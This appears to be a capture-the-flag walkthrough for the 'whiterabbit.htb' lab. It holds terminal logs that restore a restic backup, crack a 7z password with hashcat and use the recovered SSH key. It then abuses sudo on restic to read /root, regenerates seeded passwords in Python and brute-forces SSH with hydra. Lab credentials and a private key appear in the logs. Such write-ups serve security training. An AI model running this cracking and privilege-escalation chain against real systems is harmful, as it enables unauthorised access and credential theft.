$ export RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw$ export RESTIC_REPOSITORY=rest:http://75951e6ff.whiterabbit.htb$ restic snapshotsID Time Host Tags Paths------------------------------------------------272cacd5 2025-03-06 19:18:40 whiterabbit /dev/shm/bob/ssh------------------------------------------------$ restic restore 272cacd5 --target . --path /dev/shm/bob/sshrestoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to .$ cd dev/shm/bob/ssh/$ lsbob.7z$ 7z x bob.7zExtracting archive: bob.7z--Path = bob.7zType = 7zPhysical Size = 572Headers Size = 204Method = LZMA2:12 7zAESSolid = +Blocks = 1Enter password (will not be echoed):
Requires password so try to crack with 7z2john + hashcat
$ 7z2john bob.7zATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashesbob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00$ hashcat -a 0 -m 11600 '$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00' /usr/share/wordlists/rockyou.txt$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00:1q2w3e4r5t6y
Unzip with 1q2w3e4r5t6y
$7z x bob.7zScanning the drive for archives:1 file, 572 bytes (1 KiB)Extracting archive: bob.7z--Path = bob.7zType = 7zPhysical Size = 572Headers Size = 204Method = LZMA2:12 7zAESSolid = +Blocks = 1Enter password (will not be echoed):Everything is OkFiles: 3Size: 557Compressed: 572$ lsbob bob.7z bob.pub config$ cat configHost whiterabbit HostName whiterabbit.htb Port 2222 User bob$ cat bob-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsCVwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=-----END OPENSSH PRIVATE KEY-----$ cat bob.pubssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLj root@lucy
User
chmod 600 bob→ SSH port 2222
$ chmod 600 bob$ ssh -i bob bob@whiterabbit.htb -p 2222bob@ebdce80611e9:~$ iduid=1001(bob) gid=1001(bob) groups=1001(bob)bob@ebdce80611e9:~$ sudo -lMatching Defaults entries for bob on ebdce80611e9: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser bob may run the following commands on ebdce80611e9: (ALL) NOPASSWD: /usr/bin/restic
Can run restic as root without password → backup /root
# Will ask to set passwordbob@ebdce80611e9:~$ sudo restic init -r /tmp/asdfbob@ebdce80611e9:~$ sudo restic -r /tmp/asdf backup /rootbob@ebdce80611e9:~$ sudo restic -r /tmp/asdf ls latest/root/root/.bash_history/root/.bashrc/root/.cache/root/.profile/root/.ssh/root/morpheus/root/morpheus.pub
Replicate logic based on time (we have timestamp = 2024-08-30 14:40:42)
pwGen.py
import ctypesfrom datetime import datetime, timezonecs = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"libc = ctypes.CDLL("libc.so.6")libc.srand.argtypes = [ctypes.c_uint]libc.rand.restype = ctypes.c_intdt = datetime(2024, 8, 30, 14, 40, 42, tzinfo=timezone.utc)base = int(dt.timestamp()) * 1000with open("pwds.txt", "w") as f: for ms in range(1000): libc.srand(base + ms) pwd = ''.join(chr(cs[libc.rand() % 62]) for _ in range(20)) f.write(pwd + "\n")
Use hydra + pwds.txt to brute neo SSH
$ hydra -l neo -P pwds.txt ssh://whiterabbit.htb*snip*[22][ssh] host: whiterabbit.htb login: neo password: WBSxhWgfnMiclrV4dqfj$ ssh neo@whiterabbit.htbneo@whiterabbit.htb`s password: 'WBSxhWgfnMiclrV4dqfj'neo@whiterabbit:~$ sudo -l[sudo] password for neo:Matching Defaults entries for neo on whiterabbit: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser neo may run the following commands on whiterabbit: (ALL : ALL) ALL